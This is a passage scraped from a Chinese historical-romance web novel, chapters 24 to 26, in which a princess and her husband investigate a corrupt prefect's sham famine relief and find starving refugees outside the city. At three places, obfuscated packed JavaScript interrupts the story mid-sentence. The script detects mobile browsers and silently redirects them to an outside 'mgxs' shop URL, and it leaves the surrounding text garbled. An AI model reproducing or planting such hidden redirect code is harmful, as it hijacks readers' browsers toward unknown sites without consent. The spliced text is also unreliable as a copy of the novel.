褚炆卓不愧是贵妃亲子、容与亲兄,即使面色酡红、醉眼迷离,也丝毫不影响绮丽夺目的容貌,醉后晕开的几分慵怠更添艳色,几乎与身旁的亲妹难分伯仲。 看清眼前情景,容与无奈挥手屏退众人:“庆祥府受灾,父皇派哥哥前来乃是赈灾的,你怎可只顾自己享受,你可知……” 褚炆卓捂住耳朵:“这些话母妃都唠叨多少遍了,我耳朵都起茧了。你们不就是怕被褚炆宗发现捅给父皇吗,你放心好了,我已经派人打探过,他明日傍晚才能到,我就再舒坦一晚,明日一早就搬回府衙不行嘛。” 容与无奈:“庆祥的百姓如今过得是什么水深火热的日子,而哥哥作为朝廷派来赈灾的皇子,不仅不与百姓同甘共苦,还花大价钱自己享乐,你让百姓心里如何想?” 褚炆卓连连摆手:“妹妹你可真是误会我了,这院子是别人白借给我住的,不要银子。” 他又不傻,怎么可能在这关头上花大价钱买私邸。 看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066456|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己亲兄长不成器的模样,容与只觉得无力,不要钱的往往才是最贵的,可惜哥哥自小生长在富贵窝里,事事都有母妃代为把关,对这些根本没有概念。 看容与面露不悦,褚炆卓连忙将方才那两个年轻男子召进来,献宝一般拽到容与面前。 “对了,还未给你介绍呢,陈屏、赵协,都是我新收的幕僚,前段时间遣他们代我去京城探望你,你应该都见过的。” 容与正要开口,陈屏却抢白道:“是,在下受王爷所托前去探望公主,相谈甚欢。” 未等容与反驳,男子却先一步微微侧过脸来,在只有容与可以看清的角度露出恳求之色。 他本就生得眉清目秀,此时刻意流露出示弱的风情,眼尾泛着点红,唇瓣抿成柔软的弧度,带着点娇痴的意味。 容与自小在宫中长大,什么装傻卖乖、倚姣作媚的事情没见过,自然已经心下了然,恐怕向她索要银子之事本非褚炆卓本意,而是这二人自作主张,而褚炆卓直到如今依然被蒙在鼓里。 也是,无论哥哥如何荒唐,但他从小就心疼自己,又怎么有脸伸手问自己要银子。 哎,也不知该说哥哥心思单纯,还是烂泥扶不上墙。 容与心思一转,并未拆穿,反而扬起一抹赞赏的笑容:“正是,两位先生足智多谋,又生得一副好相貌,不愧是哥哥亲自挑选出来的,真是知人善用。” “还是你理解我,”褚炆卓听到此言,立马打开了话匣子,“我给你说,这些年来我可暗中给你留意了许多青年才俊,个个都如他们这样容貌俊秀,还学富五车,可惜还未来得及介绍给你,就听到了赐婚的消息。” “这有何难,我此次要在庆祥府逗留数月,不如就让他们作陪吧。” “这……” 容与故作不悦:“哥哥舍不得?” “怎么会,你可是我唯一的亲妹,你想要什么哥哥都给你找来,何况两个幕僚。” 褚炆卓大手一挥:“这些时日你们两个就跟着公主吧,一定要将公主伺候好,否则本王饶不了你们。” 带着二人走出门外,容与原本温和的脸色骤然阴沉下去。 她阴恻恻的模样盯得二人心里发毛,还未等盘问便全都老老实实认了下来。 “向公主求助之事确实是在下自作主张,但在下也是为了王爷的大计着想,食君之禄,忠君之事,这一点在下无愧于心。” 赵协附和:“倒是公主,您自私任性才导致圣上另派太子前来,若是王爷挪用赈灾银之事因此败露,您对得起王爷吗?” 道不同不相为谋,这二人不值得她费任何心思,容与并不打算理睬他们。 她转而向身后的小厮招手:“将他们二人给驸马送去,就说是哥哥送给本宫的人,请驸马代为调教。” 听到这话,二人吓得小脸煞白,他们可还记得那个踹门而入的莽夫,壮实得一人能抵他们两个。 看他们瑟瑟发抖的模样,容与狡黠勾唇,她如今已将尉朔的性子摸了个透,别看他平日大大咧咧,可碰上某些事情时,那心眼儿可比针鼻都小。 就将他们送去给尉朔好好“招待”,看他们还有没有功夫在哥哥面前进谗言。 一旁的小厮询问:“是否要向驸马说明二位先生是荣王殿下的幕僚。” 容与想了想摇头:“不必,就说是哥哥送给本宫的……男人。” 24. 沐浴 当小厮带着两个熟悉的面孔来到尉朔面前时,尉朔深棕色的瞳孔骤然一缩,锋利的眉骨下投射出一片浓重的阴影。 小厮战战兢兢:“禀告驸马,公主吩咐小的将这二位先生送来给驸马调教,还特别叮嘱驸马放开手脚使唤,有什么苦活累活尽管叫他们去做。” 调教?虽不熟悉晟国这些讲究的字眼,可他也听说过,这个词一般用于后宅,乃是正头夫人教训妾室之意。 这是什么意思?尉朔气闷,一个姜南洲不够,又给他送来两个碍手碍脚更碍眼的小白脸。 他阴沉着脸一言不发,只举着手中的锄头,在二人惊恐的眼神中步步逼近。 “砰!”一声巨响,两个男子本能闭眼,这个莽夫驸马他们是见识过的,如今仍心有余悸,见到真人又怎会不怕。 片刻后他们才敢瑟缩着睁眼,只见原本拿在尉朔手中的锄头被重重摔在他们面前,冷硬的土地都被砸出一个深坑。 “愣着干吗,还不快去干活!” 看着两人拖着锄头都费力的样子,尉朔轻蔑地冷笑,就凭这两个货色还想和他抢? 看来他得干得更卖力了,让褚容与记住,休想随随便便找个男人就将他替代了。 * 傍晚,庆祥府知府特意设宴款待容与二人远道而来。 姜南洲身份特殊,他此次只是私下陪同容与而来,而非以神农谷之名,不便参加任何宴请,因此前来赴宴的只有褚炆卓和容与夫妇二人。 一行人抵达府衙时,知府大人早已在门外恭候许久,远远看到马车驶来,他连忙小跑几步迎上,亲自接过马夫手中的缰绳。 此人看起来四十出头的模样,正值壮年。 对于此人,容与也不算陌生。他名为张从绪,乃寒门出身,七拐八拐勉强能与贵妃母家的京城张家攀上些亲故。 自科举入仕以来,张从绪便常常与京城张家走动,而后者也许久未有立得起的后辈,正愁没有亲信之人巩固家族地位。就这样,二者一拍即合,从此你来我往,亲近更胜于正经旁支。 也正因京城张家提携,张从绪十几年来的官途也算顺风顺水,如今做到正四品的知府,虽高不成低不就,可好歹也是一府之长,手握实权。 容与看向褚炆卓:“你这段时日所居的私邸便是这位张知府所赠吧。” 褚炆卓赧然:“真是什么都瞒不过你,不过你放心好了,张大人乃自家人,又一向心思缜密,左右不会害我。” 容与不再说什么,因为她清楚她这好哥哥的脾气秉性,只要能让他吃好玩好,他眼中便没有坏人,即使说破嘴皮也无甚用处。 跟随张从绪走进府衙时,容与倒是略有些惊讶,这里如周围民房一般朴素,一件贵重陈设都无,甚至连墙壁都斑驳脱落了。 张从绪心领神会,在旁解释:“公主勿怪,自此地遭灾以来,下官便擅作主张将府衙中值些银子的物件都变卖了,凑的银子虽不足以缓解灾情,但也是聊胜于无吧。” 容与点头:“张大人不必惶恐,虽说府衙中的陈设属公家所有,但是急从权,父皇不会怪罪的。” 接着,她又对连连点头的张从绪道:“还烦请张大人收拾几间空房出来。” 张从绪连忙摆手:“公主的意思是要住在这府衙里?使不得呀,公主金枝玉叶,这府衙太过简陋,不如您就与荣王一样,先在那座私邸暂居。” “不必了,不只本宫,哥哥今晚也要搬回府衙。” 听出容与不容拒绝的态度,张从绪眼中流露出了然之色,他压低声音:“下官晓得轻重,这就遣人收拾府衙。至于那座私邸公主也不必担忧,那是挂在一个逃难富户名下的,明日太子抵达之前,下官便命人去贴上封条,绝不会叫人发现,牵连荣王与公主。” 说话间,宴厅已至,容与感觉后腰被人轻轻一推,耳边传来男子喷吐的热气。 接着便是尉朔压低的声音:“庆祥府不是闹饥荒吗,这桌子上的菜看起来可不简单,简直比你的公主府里吃得还要好。” 他说得毫不夸张,只见席面以金丝锦缎铺陈,珍馐佳味盈案溢几,挤挤攘攘无半分空隙。 容与冷笑:“张大人怕是误会了,我们几个人用顿便饭罢了,哪里吃得完这么多?况且庆祥府遇灾,我们更应与百姓患难与共才是。” 张从绪先是猝不及防一愣,转而眼珠一转,连声附和:“是,下官明白,这就遣人设粥棚施粥,将多出的菜肴分发给百姓。” 说完他还特意加重语气,补充了一句:“用公主的名义。” 容与却摇头:“不必,用朝廷的名义即可,本宫此次乃是微服前来,无需让人知晓。” “是是是,下官明白了。” * 厢房收拾得很快,将几尊大佛送回房的张从绪依旧无法闲着,他当即找来下属。 “明日一早设棚施粥,记住要以清阳公主的名义。” 下属不解:“可是公主不是叮嘱说无需以她的名义,也不可透露她前来庆祥之事吗?” 张从绪闻言嗤笑:“清阳公主是什么样的人你还不清楚?久居深宫、不谙世事的公主罢了,你当她跑来庆祥这种鸟不拉屎的地方是为了什么,反正不能真是为了推广什么旱稻。” 看着下属顿悟的样子,他语重心长:“公主拒绝设宴,又专门住在破旧的府衙里,不就是为了博一个爱民如子的好名声,好洗刷往日的恶名吗。” 人家装模作样婉拒,他作为一府长官自然不能不懂事,真的不做。 张从绪捋着长须,幽幽道:“官场之道嘛……你小子还得好好修炼一番呀。” 下属还是有些踟蹰:“大人,要不咱们还是请示一下公主吧。” “不必,尽管照本官的吩咐去做就是。” “是。” * 而府衙的另一边,回房后的容与看着大摇大摆跟进来的尉朔有些不快。 明明还有多出的厢房,这人非要跟她挤一间,还美其名曰要保护她?这可是府衙,用得着他保护吗? 不过此处人多眼杂,叫人传出去说公主与驸马貌合神离也非她所愿,是以她只得咽下满腹怨气,不情不愿地默认二人同住一间。 “你盯着我看什么?”感受到一直落在自己身上的灼热目光,容与浑身不自在,但她能感受到这目光与以往不同,其中并没有嘲讽或是恶意。 尉朔唇角轻抿,一改往日桀骜,目光中更多是心悦诚服:“我以为依你的性子,应该很乐意去住华丽的私邸,如今的选择倒是令在下很是佩服。” 他一向直来直去,自然也不觉得向一个自己从前看不惯的人表露欣赏之意是什么羞于启齿的事情,可容与却不同了。 自小到大,容与虽听过不少夸赞,但那些更多是阿谀奉承,而非肺腑之言,乍一听到尉朔不加掩饰的赞许,她反而有些不知所措。 她红着脸将尉朔推搡出门:“你先出去转转。” “为何?” 容与急中生智托辞道:“我要沐浴,你在屋里不方便。” 尉朔没听出她这话只是借口,环顾了一圈狭小的厢房后兀自红了脸。 这里条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知是因为看过许多遍,还是急着提醒他,容与一时来不及避开目光,全然落在他精壮的胸膛上。 尉朔面不改色:“无妨,这水还干净,倒掉白白浪费了。” “你不嫌脏?” 尉朔却只满不在意地嗤笑一声:“脏……你?” 她连头发丝都是香喷喷的,怎么可能脏?说实话,在遇到容与之前,他从未想过女子竟是这样好闻的,她睡过的被窝是香的,用过的帕子是香的,就连她洗过的水好像都染上了甜丝丝的味道。 而且更重要的是,她褚容与用过的香喷喷的沐浴水只有他尉朔一人能用,什么姜南洲、陈屏之流都没这个资格! 这样想着,尉朔明明在用凉水擦洗,嗓子却陡然干了起来,脑海里也浮现起不合时宜的画面。 其实方才守在门口时她就将屋里的声音听了个清楚,哗啦啦的水声叮叮咚咚,如大珠小珠落玉盘。 他自小听力极佳,只需片刻他就足以凭借声音在脑海中勾勒出一副画面:先是一声轻软的“啪”,这是水流落在圆润肩头的声响;随即是细碎的淅淅沥沥,这是水流散开,顺着凹凸的锁骨滴滴点点滑落的声响;接着是温温软软、缠缠绵绵的,这是水滴顺着脊背蜿蜒而下的声响…… 此时,尉朔突然意识到泼洒在自己皮肉上的水滴便是不久前在容与身上滑过的那些,他觉得喉咙里好像升腾起一把火,无论如何都浇不灭。 他只得加快速度,匆匆了事,三下五除二就囫囵洗完了,赤着精壮的胸膛乱转,想要将身上的邪火熄灭。 容与侧过脸,一边偷偷觑他棱角分明的身子,一边胡乱将搭在床沿的衣裳塞进他怀里。 “快穿好。” 尉朔故意不穿,屋中水汽氤氲,脑中也浑浑噩噩,喉中更是愈烧愈烈。 他鬼使神差启唇,声音是一片自己都未料想到的沙哑:“怎么,不好看吗?” 25. 谈心 什么好不好看的?他在说什么?是自己想的那样吗?几息间,容与脸红得像煮熟的虾子。 可回味方才看到的一切,容与实在无法违心说出“不”字,他的身形确实……不错,就是因为太过不错,才让他赶紧遮住呀! 容与故意装作没听清,只低着头顾左右而言他,可耳边又响起一声低笑:“不好看吗,你方才也没少看呀。” 尉朔早就察觉了,每次他袒胸露腹,容与便会故作生气,催他赶紧穿上。 一开始他以为是晟国女子太过保守,可后来他逐渐发现这女子嘴上斥责,可滴溜溜乱转的眼珠看似游移,实则一直以他为焦点。 最初他还疑惑,这副身子有什么好看的,难道不是每个男人都长这样吗? 虽然不明白,但是既然她喜欢看就让她看个够呗,自己一个大男人又不怕看。 这样想着,他愈发大方地挺了挺胸口。 “你……”被骤然拆穿,容与面色涨红。 她又急忙欲盖弥彰:“我……我是怕你冻病了,就没法给我干活了!” 对,她可不是害羞。 为了掩饰脸上的绯红,容与赶紧上床躺好,将唯一一盏油灯一口气吹灭。 尉朔唇角一勾,摇摇头摸着黑也找了床被褥就地睡下,就在容与床边。 听到床上翻来覆去的声响,他试探开口:“睡不着?” “嗯,闭上眼都是路上遇到的流民,还有旱得裂开的土地,触目惊心。” 尉朔不擅长安慰人,从前看到旁人伤心难过他都是冷眼旁观,心里还要暗笑那人矫情,可此时他的心却跳得飞快。 “其实我们察泰也经常干旱,旱得厉害的时候别说是浇地用的水了,就连喝的水都难找到。”他犹豫一会儿还是笨拙安慰。 “这就是你不喜沐浴的原因?” 容与从前觉得他只是不爱干净,从未想过背后还有这段无奈的过往。 尉朔摇头:“也不是不喜欢,大概是不能吧,那时候沐浴简直是不敢想象的奢侈,久而久之便没有这个习惯了。” “其实不止我,我们察泰人都是这样,只有过年过节才舍得好好洗个澡,不过我们那里天气寒冷,倒也不至于发酸发臭。” 容与默然,细细想来她其实并未亲身经历过天灾,对于饥荒、大旱的了解也全都来源于典籍上冷冰冰的记载。 直到在路上遇到成群结队的褴褛流民,看到道路两侧数不胜数的饿殍,她才第一次对天灾、社稷这些遥远的字眼有了清晰的实感。 包括她自小喜爱的农桑之道,也是因为小时候母妃忽视,也没什么友人,她只能与这些“不会说话的挚友”相伴。 直到此次前来庆祥,她才真切地感受到农耕究竟意味着什么。 而眼前平平无奇的清水自然也有了不同的意义,在公主府它们只作洗去污浊之用,好像取之不尽,用之不竭。 而在这里,它们是百姓赖以生存的甘露,每一滴都是一份生的希望。 * 将近一个月的赶路着实辛苦,特别是对于容与这样自小在宫里长大,甚少出远门的来说辛苦更甚。 是以尽管睡前念叨着要早些起身,抓紧下地看看情况,她还是一觉睡到日上三竿。 嘉穗急切敲门时,开门的是尉朔,他并没让嘉穗进去,而是蹑手蹑脚出门,小心翼翼将门掩上。 “什么事?”他特意压低声音。 “那张知府阳奉阴违,昨晚公主千叮咛万嘱咐切勿透露她前来庆祥府之事,结果张知府转头就用公主的名义施粥,还大肆宣扬公主亲临之事。” 尉朔思忖片刻:“粥棚在哪?我去看看。” 他话音刚落,身后的房门吱呀一声开了,容与揉了揉脸色不大好看,显然是已经听到门外的对话。 “不必,我和你同去。” 那个消息砸过来的一刹那,容与全身的血液都好像凝固住了,从头皮一直麻到指尖,只剩那几个字在脑子里嗡嗡作响。 是她天真了,不明白为官之人听的都是弦外之音。她本以为自己生长于宫廷,也算从小接触官场阴私,可此时才真正体悟,她旁观所知难比亲身入局之一二。 见她坚持亲自前去查看,二人也不好再说什么。 大概是张从绪特意嘱咐,粥棚设在最为热闹的街市,距离粥棚还有二里路时,就依稀能听到不远处的喧闹声,原本宽敞的路上都是熙熙攘攘的人群,马车几乎难以通行。 就在容与搭着尉朔的手臂打算下车步行时,车前却响起几声鞭子的破空声。 “啊!”人群受到惊吓,有的向两边散开,有的转身向后跑去。 此乃闹市,且不远处就是施粥之所,前来领取救济的百姓甚多,究竟是谁人胆敢在此处甩鞭,无故惊扰百姓? 容与皱着眉吩咐嘉穗上前查探,还未等说完,就听到车外一个熟悉的声音。 “下官张从绪参见公主,都是下官之过,竟不知殿下要来,是以未提前肃清街道,险些让这些贱民惊扰殿下贵体,还请殿下恕罪,下官这就将他们全都赶了去。” 容与撩帘看去,只见他恭敬跪俯在地,身后还跪着两个凶煞的差役,两人手中皆握着碗口粗的长鞭。 “本宫只是听闻此处施粥,一时兴起前来看看,无意打扰百姓,至于惊扰……”她话锋一转,“恐怕被鞭声吓到的百姓才是真正被惊扰的人吧。” 张从绪面露尴尬,态度比方才还要谦卑:“是是是,是下官疏忽,这就命人将鞭子收了。” 他额前冒出几滴虚汗,一时拿捏不准这位公主究竟是真的动怒,还只是佯装体恤百姓。 他试探道:“粥棚已按殿下的吩咐布好,下官护送您前去看看,顺便与百姓们说上几句吧,也好让他们感念公主恩德。” 容与面色阴沉:“不必了,若本宫未记错,原是命你以朝廷名义施粥,不必提及本宫,不知是大人年纪大了,记性不佳,还是根本未将本宫的话放在心上。” 这话说得极重,甚至让张从绪以为昨日那个温润和善的清阳公主换了个人,甚至比荣王的压迫感更甚。 听她的怒意不似作假,张从绪第一次开始怀疑,难道真是自己会错了意?可他在这些贵人中左右逢源十数年,还甚少失手,难不成还会在一个女 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回去的马车上,丰禾疑惑不解:“公主不信任张大人,可他不是咱们张家的人吗,还会害咱们不成?” 容与微微摇头:“他是张家的人,是母妃的人,可却不见得是本宫的人。” 在距离粥棚还有二里远时张从绪便能恰好前来“迎接”,这未免也太过巧合了。 丰禾恍然大悟,但还有一点不明:“他胆敢派人监视公主,公主何不直接治他个不敬之罪。” 容与唇角轻扬,眸中闪烁些狡黠的光:“因为本宫只是个不谙世事、浅见寡闻的深闺弱质呀。” 但没有人看出这份狡黠下的庆幸,她庆幸自己坚持来此,才能看到这个真实的世界。若非此行,她不会真正明白典籍上的遇灾人数是怎么鲜活的生命,也不会参悟官场背后的弯弯绕绕。 她现在要做的就是安安静静回府衙等着,待尉朔回去,一切都将水落石出。 * 直到夜幕渐渐落下,房门才被轻轻推开。 “如何了?”容与颇有些激动地迎上去。 尉朔并未回答,而是微微低头,目光直愣愣却不莽撞地凝视着容与,带着独有的直白与热忱,以及眼底一抹无法藏住的敬服。 片刻后他突然冒出一句慨叹:“公主很聪明。” “何出此言?” 容与狐疑地抬头斜睨他,这人不是觉得她矫情、娇气、浑身毛病吗,怎么突然夸她聪明? 尉朔沉声道:“我按照你的吩咐混进粥棚查探,发现这粥棚果然有问题。” “是他们分发的吃食不对劲?”容与正色道。 尉朔却摇头:“吃食确实都是上好的白面精米,无甚可以指摘的,不对劲儿的是……人!” “人?”容与不明所以,他是指负责施粥的差役?可精明如张从绪,即使再贪婪,应该也不至于在众目睽睽下昧下什么,给人徒留把柄。 尉朔再次摇头:“不,不是差役,而是领取吃食的百姓。” “百姓?”容与一双睁得圆圆的,不可置信。 26. 等死 尉朔余光扫过她那渴求的神情,只见那娇艳的小脸轻扬,一双眸子亮闪闪地盯着他不放,素白的小手轻轻搭在他小臂上,腕上的玉镯随着微微晃动的动作发出悦耳的声响。 这副渴求又娇憨的模样化作一团温软的云钻进尉朔心里,他很享受这难以启齿的快感,故意缄口不言。 直到容与快要生气时,他才依依不舍地开口:“我发现那些百姓穿着体面,面色红润,并不像饿了很久的样子。” 他可是在饥荒中挺过来的,真正饥饿许久的人是怎样的狼狈,他比谁都清楚,面如菜色、瘦骨嶙峋都不足以形容真正经历饥荒的人。 容与蹙眉:“你是说……那些百姓并非真正的难民?” 尉朔颔首:“我借机与他们攀谈,才发现他们本就是城中富户,即使因饥荒的缘故大不如前,也还是能勉强吃饱穿暖的,算不得严格意义上的灾民。” 容与蹙眉:“那真正受灾的难民在何处?” “城墙西北角外的棚民巷!” 他说着,眸色暗淡下去:“但今日时间太紧,那里究竟是何情形,我尚未来得及一探。” 半晌未听容与应答,尉朔本以为她在低头盘算要如何查探,正打算自告奋勇前去探上一探,低头却发现容与的目光正专注地凝视在他身上。 她樱唇轻启,唇角勾着狡黠的笑:“驸马也很聪明。” 从前她嫌弃尉朔不拘小节,神经大条,可日复一日的相处中,她渐渐发现尉朔其实粗中有细,他只是不屑于无关紧要的形式,而那双鹰隼般的眸子敏锐尖利,其高明的洞察力实则不逊色于任何人。 这么一句没来由的夸赞落入尉朔耳中,他丈二和尚摸不着头脑,半晌才反应过来是回应他最初的那句敬服,不由勾起薄唇,许久压不下去。 待抬眼撞进容与真切的目光中时,胸腔里又是一荡,那丝漾开的雀跃就像投进平静春湖的石子,紧跟着漫上来层层叠叠的欢喜,他心里已经足以清楚地感知到这不同寻常的欢愉,却不能开口言说。 除去容与的赞赏,他心里其实还有份更为隐秘的暗喜。他反复回味许久才恍然大悟,竟是因为一个称呼——“驸马”,娇娇柔柔的一声,唤得他心里极为熨帖。 他的思绪不禁飘回方才的粥棚,一对夫妇带着几个稚童,虽因为天灾,富裕不同往日,可女子唤向男子的“夫君”二字还是饱含温暖的。 这副画面令他不禁憧憬,不知他什么时候才能从容与口中听到这两个字呢? 当这个念头突然蹦出来时,尉朔猝不及防,他重重一拍脑袋来惩罚自己入戏太深、痴心妄想。 他连忙将心思转回正事上:“对于这事,你作何打算?” 他虽同情被赶到棚民巷的受灾贫民,可也深知容与只是手中并无实权的深宫公主,此次前来也只是好心帮助庆祥府恢复春耕,而赈济灾民实乃朝廷官员之职,关乎政事国务。就算她对施粥作假、灾民被驱逐去棚民巷之事选择袖手旁观,尉朔也可以理解。 更何况路上被灾民抢劫的事情还历历在目,她心有余悸更是人之常情。 可容与并未犹豫:“明日咱们一起去城外的棚民巷看看。” 尉朔心有余悸:“还是我自己去吧,万一灾民一时激愤,针对于你……” 越是大灾面前,弱肉强食便越是真理,容与手无缚鸡之力,实在太过危险。 未等他说完,容与就竖起食指,轻轻在尉朔胸口点了点,漂亮的桃花眼上挑,带着几分轻蔑与挑衅:“怎么,难道驸马护不住我?” 胸口的酥麻霎时间传遍四肢百骸,扰得尉朔脑袋发懵,未及细想便急急争道:“怎么可能?同去就同去,我就算拼了这条性命,我也定能护你周全!” 话已脱口,看到那抹狡黠的笑容时他才恍然惊觉,自己怎么又掉进褚容与的圈套里了。 * 第二日天还未亮,二人便早早起身。 趁着众人都还在睡梦之中,尉朔已经牵着容与,轻车熟路摸到府衙后墙。 为避众人耳目,二人只能从此处翻墙而出。 尉朔环顾四周,确定无人注意后,长臂一伸,轻松扣住容与的腰肢往身前一带,宽厚的大掌稳稳扣住她纤细的腰身,另一只手轻轻托在她的臀处。 感受到男子温热的呼吸擦过颈侧,容与不禁呼吸一滞,还未反应过来,就感觉腰间的手臂一紧,紧接着自己整个人就被尉朔借着腰腹的猛劲向上托去,片刻后就稳稳坐在高高的墙头之上。 晨雾朦胧,一男一女,鬼鬼祟祟,翻墙而出……容与突然想到自己曾读过的话本子,他们这副样子简直活像一对私奔的亡命鸳鸯。 这样想着,容与一张小脸儿红得发烫,还偏要装作若无其事地伸手想将尉朔拉上来,可还未伸出去,就见那身量极高的人抬手,轻轻松松便攀住墙头。 正待他紧绷腰腹,要使力撑上去,却突然听到身后一阵脚步声。 紧接着,便是一声惊叫:“公主,不可擅出!” 尉朔浑身一紧,本能地抽出靴筒里的匕首,以迅雷不及掩耳之势向声音来源处刺去。 “等等!”容与惊呼。 尉朔堪堪停手,刀尖在距离来人脖颈只有半寸之遥时才骤然停住,只留下吓得脸色惨白的嘉穗。 “嘉穗,怎么是你?”容与长舒一口气。 嘉穗止不住浑身发抖,骤然放松下来更是委屈:“公主,您这是要去哪呀,竟连奴婢也瞒着。如今庆祥府处处是流民,您偷溜出去也不带几个侍卫,让奴婢怎么放心?” 容与面色讪讪:“这不是想着私下行事,莫让张知府察觉吗,人越少越不容易引人注意。” 说着,她看向尉朔,嘴角扬起一抹自己都未察觉到的笑意:“再说,驸马一个人能抵十个侍卫,真的不必担忧。” 尉朔挑眉:“才十个?” “得得得,说你胖还喘上了。”脱口而出这句话时,容与自己都未察觉到自己说话怎么也像尉朔一样糙起来了。 尉朔闻言挺了挺胸膛:“公主所言极是,不过既然来了,就一起去吧,脚步轻些别叫人发现了。” 嘉穗点头,可正要上前就看着墙头上的容与愣了神,这么高的墙,她家公主是怎么自己爬上去的?嘉穗用尽全力踮起脚尖,可连墙头都摸不到。 不知想到什么,尉朔不自在地抿了抿唇,闷头从旁边提过来一个木桩放到墙角。 这样一来,嘉穗脚踩木桩,再被墙头上的容与用力一拽,总算是成功翻了出去。 直到坐上尉朔早就备好在墙外的马车,三人紧绷的心神才勉强一松。 嘉穗忧心忡忡:“公主,太子殿下昨日夜里到的庆祥府,因为天色太晚,便交代莫要惊扰您。等今日天亮,他难免要召见您的,您现在跑出去,若是太子发现您不在府衙,怕是会生疑的。” 看容与铁了心,她继续劝:“您听奴婢一言,许多事情您一个公主管不了也不该管,现在回去还来得及。” 容与明白她的意思,即使褚炆卓与张从绪二人再不好,他们二人才是与自己绑在一条船上的,而褚炆宗是他们的“敌人”,若被他发现了庆祥府的阴私,恐怕不会放弃重创贵妃一派的好机会。 可是她也做不到在明知受灾的百姓朝不保夕的情况下,为了保住哥哥而任由他们自生自灭。 更何况虽与褚炆卓一母同胞,可容与始终觉得以哥哥的性子,并不适合这个钦差的位置,更何况是那个至高无上之位,虽然这句话她不能说出口。 她只能随口敷衍:“我晓得,现下天还未亮,速战速决应该来得及,再说太子哥哥事忙,估计要等午时过后才能得空见我。” 越靠近棚民巷,一行人眼中的景象便越是破败,因甬道太过狭小,二人只能弃车步行,留嘉穗与车夫二人守在马车上,方便随时接应。 尉朔早有准备,从怀里掏出一件极为宽大的黑色斗篷,兜头罩在容与身上,将她的面貌身形都遮了个彻底。 这件斗篷大概是尉朔常穿的,实在太长太阔,穿在容与身上几乎要拖在地上。容与深吸一口气,鼻腔中瞬间就满溢着独属于男人的,好像阳光晒过的干草的味道,混着一股浓郁的香胰子味,一嗅就知是特意用心洗过的。 与城中的青砖瓦房不同,这里甚至没有一个称得上“房屋”的地方,狭窄阴暗的甬道里挤满随地铺陈的干草,上面横七竖八躺着许多瘦骨嶙峋的人,一动不动,不知是死是活。 在这种天灾之下,人早就没了人的模样,只剩一具枯骨上覆着一层皱缩的鸡皮,像泡烂又风干的纸,眼窝陷成两个深黑的窟窿,只剩浑浊的翳子蒙在眼仁上。 听到人的脚步声,他们僵硬地转过来,眼中泛出点久违的光,好像饿狼似的诡异阴森。 容与吓得一哆嗦,尉朔很快便察觉到她的异样,展臂将她护在身后。 再往里走,逐渐有几间像样子的窝棚,它们大概是这里最好的住所了,也只不过是用破席子搭起的,堪堪能遮风挡雨。 “这是什么气味?”容与将鼻子缩进斗篷里,可根本抵挡不住那闷腐的恶臭气,她捂住口鼻几欲作呕。 尉朔答:“死人的味道。” “什么?”容与狐疑地仰头看他,却见他郑重的神色不似说笑。 “尸骸腐烂便是这个气味,幸而眼下天凉,若是放在夏季,更是恶臭难耐。” 对于尉朔而言,这气味并不算陌生,毕竟在察泰,这也是常常能闻到的气味。 看容与吓得面色发白,他不仅不住口,反而接着道:“你脚下的这些土地,也不知是谁的皮肉腐烂而成的。” “啊!”下一刻,容与就像兔子一样蹦到尉朔身上,两条腿紧紧缠在尉朔腰上。 尉朔被她缠得寸步难行,看着她像猫儿爬树般攀在自己身上,不免有些好笑:“你这样我都没法走路了,先下来。” “不要!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087384|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>尉朔无奈:“行,那我背你。” 他一手拖住她,将她移到自己后背上,稳稳地背着她继续向前走,在她看不见的地方露出一丝得逞坏笑。 也许是听到久违的陌生脚步,不一会儿,两个胆大的孩子凑过来,想要讨要半张糠饼。 可容与二人来的匆忙,身上并未携带任何吃食,两个面黄肌瘦的孩子一脸落寞走开。 容与先一步叫住:“你们爹娘呢?” 她急着想找人问问他们究竟是怎么沦落到此处,又是否领到过朝廷的救济。 可不想孩子却答道:“死了。” 他连眼都未眨一下,习以为常似的,脸上只剩麻木。 “怎么死的?”容与柔声问。 “饿死的,”他一边说着一边嬉皮笑脸,天真又极度残忍,“说不准我们明天也要死的,明天不死后天也要死,总归都要死的。” 这话从一个稚童嘴里说出来,听得容与惊诧不已:“这话谁教你的?” “二叔。” 听到这这个回答,容与一喜,总算找到一个能立门户的大人了,也好仔细询问他们想要查探的事。 她忙问道:“他在哪里,可否引我们一见?” “也死了。” 容与心里一凉,可旋即听到孩子的嬉笑:“他倒不是饿死的,是叫人活活打死的。” “打死的?为什么被打死?” 小孩咬着手指思索一会:“嗯,昨日二叔听说城里来了个叫什么……哦对,叫公主的。” 容与心神俱震,小心追问:“然后呢?” “听说公主可怜我们这些穷人,在城里设了粥棚施粥,二叔听说便要混进城去,为我们讨些吃食,可惜刚进城就被发现了,被那些官老爷们活活打死了。” 容与皱眉,粥棚本就是赈济灾民之用,为何灾民前去讨粥反被虐打而死?又为何灾民全被赶出城,只能蜗居在此处,而城中只留下并不缺吃穿的富户? 她刚要继续追问,却听到一座不及人肩高的窝棚里传出一声有气无力的呵斥:“六娃,进来。” 孩子当即一溜烟钻了进去,屋里依稀传出断断续续的训斥声。 